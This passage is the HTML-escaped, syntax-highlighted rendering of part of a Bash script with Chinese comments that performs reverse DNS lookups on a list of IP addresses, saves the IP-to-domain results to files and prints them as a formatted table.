&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;100&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;$((&lt;/span&gt;ELAPSED_SEC &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="m"&gt;60&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt; &lt;span class="k"&gt;$((&lt;/span&gt;ELAPSED_SEC &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="m"&gt;60&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;101&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$MINS_REMAINING&lt;/span&gt; &lt;span class="nv"&gt;$SECS_REMAINING&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;102&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$display_query&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;103&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;104&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 执行反向DNS查询&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;105&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;result&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;host &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$IP&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; 2&amp;gt;/dev/null&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;106&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;107&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 处理结果&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;108&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; *&lt;span class="s2"&gt;&amp;#34;domain name pointer&amp;#34;&lt;/span&gt;* &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;109&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;((&lt;/span&gt;FOUND++&lt;span class="o"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;110&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;111&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 提取域名&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;112&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;domain&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep -oP &lt;span class="s1"&gt;&amp;#39;domain name pointer \K[^.]+(\.[^.]+)+&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; head -1&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;113&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;114&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 1. 输出原始格式结果&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;115&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;116&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;117&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 2. 保存结果用于表格&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;118&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$IP&lt;/span&gt;&lt;span class="s2"&gt;,&lt;/span&gt;&lt;span class="nv"&gt;$domain&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &amp;gt;&amp;gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$RESULT_FILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;119&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;120&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 3. 添加到CSV文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;121&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$IP&lt;/span&gt;&lt;span class="s2"&gt;,&lt;/span&gt;&lt;span class="nv"&gt;$domain&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &amp;gt;&amp;gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$CSV_OUTPUT&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;122&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;123&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;124&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;125&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 清除进度行&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;126&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;\n\n&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;127&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;128&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 计算总耗时&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;129&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;END_TIME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;date +%s&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;130&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;TOTAL_TIME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;END_TIME &lt;span class="o"&gt;-&lt;/span&gt; START_TIME&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;131&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;132&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 显示表格总结&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;133&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; -s &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$RESULT_FILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;134&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;=============================&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;135&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;扫描结果汇总 (反向DNS记录)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;136&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;=============================&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;137&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;138&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;139&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 确保表格对齐&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;140&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;max_ip_len&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;15&lt;/span&gt; &lt;span class="c1"&gt;# &amp;#34;IP地址&amp;#34; 标题长度&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;141&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;max_domain_len&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;20&lt;/span&gt; &lt;span class="c1"&gt;# &amp;#34;域名&amp;#34; 标题长度&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;142&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;143&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 读取结果计算最大长度&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;144&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="nv"&gt;IFS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;, &lt;span class="nb"&gt;read&lt;/span&gt; -r ip domain&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;145&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="si"&gt;${#&lt;/span&gt;&lt;span class="nv"&gt;ip&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; -gt &lt;span class="nv"&gt;$max_ip_len&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;146&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;max_ip_len&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;${#&lt;/span&gt;&lt;span class="nv"&gt;ip&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;147&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;148&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;149&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="si"&gt;${#&lt;/span&gt;&lt;span class="nv"&gt;domain&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; -gt &lt;span class="nv"&gt;$max_domain_len&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;150&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;max_domain_len&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;${#&lt;/span&gt;&lt;span class="nv"&gt;domain&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;151&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;152&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;done&lt;/span&gt; &amp;lt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$RESULT_FILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;153&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;154&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 添加边距&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;155&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;max_ip_len&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;max_ip_len &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;156&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;max_domain_len&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;max_domain_len &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;157&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$max_ip_len&lt;/span&gt; -lt &lt;span class="m"&gt;15&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt; &lt;span class="nv"&gt;max_ip_len&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;15&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;158&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$max_domain_len&lt;/span&gt; -lt &lt;span class="m"&gt;20&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt; &lt;span class="nv"&gt;max_domain_len&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;20&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;159&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;160&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 创建表格顶部&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;161&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;┌─%s─┬─%s─┐\n&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;%*s&amp;#39;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$max_ip_len&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39; &amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;-&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;162&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;%*s&amp;#39;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$max_domain_len&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39; &amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;-&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;163&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;164&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 表格标题&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;165&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;│ %-&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;max_ip_len&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;s │ %-&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;max_domain_len&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;s │\n&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;IP地址&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;域名&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;166&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;├─%s─┼─%s─┤\n&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;%*s&amp;#39;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$max_ip_len&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39; &amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;-&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;167&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;%*s&amp;#39;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$max_domain_len&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39; &amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;-&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;168&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;169&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 表格内容&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;170&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="nv"&gt;IFS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;, &lt;span class="nb"&gt;read&lt;/span&gt; -r ip domain&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;171&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;│ %-&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;max_ip_len&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;s │ %-&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;max_domain_len&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;s │\n&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$ip&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$domain&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;172&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;done&lt;/span&gt; &amp;lt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$RESULT_FILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;173&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;174&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 表格底部&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;175&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;└─%s─┴─%s─┘\n&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;%*s&amp;#39;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$max_ip_len&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39; &amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;-&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;176&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;%*s&amp;#39;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$max_domain_len&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39; &amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;-&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span 